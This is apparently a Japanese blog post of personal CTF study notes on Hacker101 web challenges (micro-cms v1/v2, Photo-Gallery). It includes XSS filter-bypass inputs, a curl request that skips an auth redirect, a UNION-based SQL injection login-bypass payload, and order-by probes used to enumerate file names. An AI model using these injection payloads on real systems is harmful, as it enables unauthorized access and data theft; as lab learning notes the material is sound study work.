1
1

More than 3 years have passed since last update.

CTF解法メモ【Hacker101】

Last updated at Posted at 2019-09-01

これは?

CTFを解く中であまりにも自分ができなさすぎるので,そもそも当たり前としてどこにも載っていないレベルの常識を書き溜めるモノ.Hacker101の問題を取り上げる

適宜更新していく

micro-cms v1: Easy

解けなかったやつ

  • URLに対するSQLi -> /path/to/10'
    • 1時間考えても全く思いつかず
  • ただの気づきがないやつ -> 閲覧URLのパーミッション拒否ページを見たあと,その編集ページは開ける
    • /path/to/10 は403だが /path/to/edit/10 は見れてフラグがある
    • そもそも番号が一部飛んでることに気付けなかったのが問題

解けたやつ

  • 'javascript'が消される環境下でのxss
    • -> onclick='alert(1)', <iframe src='base64encoded alert'>
    • とかそこらへんがある!

micro-cms v2

  • こいつには編集と追加のためにログインをしなければいけなくなった

解けたやつ

  • エディット画面に行こうとすると,リダイレクトがかかるが,実は直接リクエストを投げるといけちゃう
    • curl -X POST 'http://url/page/edit/1' -d 'title=1&body=1'

解けなかったやつ

  • ログイン処理にはSQLiがある.

    • 試しにユーザの入力欄に'を入れる
      • if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
      • こいつが見えるので,適当にUNIONしてみるらしい(こいつができなかった,思いつくやつ天才か?)
    • payload -> ' UNION SELECT '123' as password#
    • 結果としてSELECT password FROM admins WHERE username='' UNION SELECT '123' as password#が実行される
    • こいつで,パスワードに123が追加されるため,123を入力しログインをバイパス出来る.
  • ログインパスをリスト型攻撃するらしい

    • WriteUp見ても全く意味がわからず????
    • 答えを見ても解けていない.

Photo-Gallery: Moderate

思考記録

  • url query paramをそのままSQLに組み立てて居るので,SQLiが可能である.
  • ?id=1 が正常にレスポンスし, ?id=1 union select 2;-- も正常であったため,SQLiが可能と判断
  • ?id=1 union select 1 order by filename desc;-- が正常だった
    • filenameというカラムがある.
    • asc 指定でソートするとエラーが出る.
      • すなわち,以下のような処理フローで画像を返すAPIを実装していると想定
id = url.param["id"]
↓
filenames = sql.exec("SELECT filename from table_name where id = ${id}")
↓
imgname = filenames[0]
↓
data = readFile(imgname)
↓
response.body(data)

    * order句により,辞書順にソートされるため逐次チェックすると,ファイル名がわかる.
    * `"files/adorable.jpg"` `"files/purrfect.jpg"`というファイル名だった
    * →で?
1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1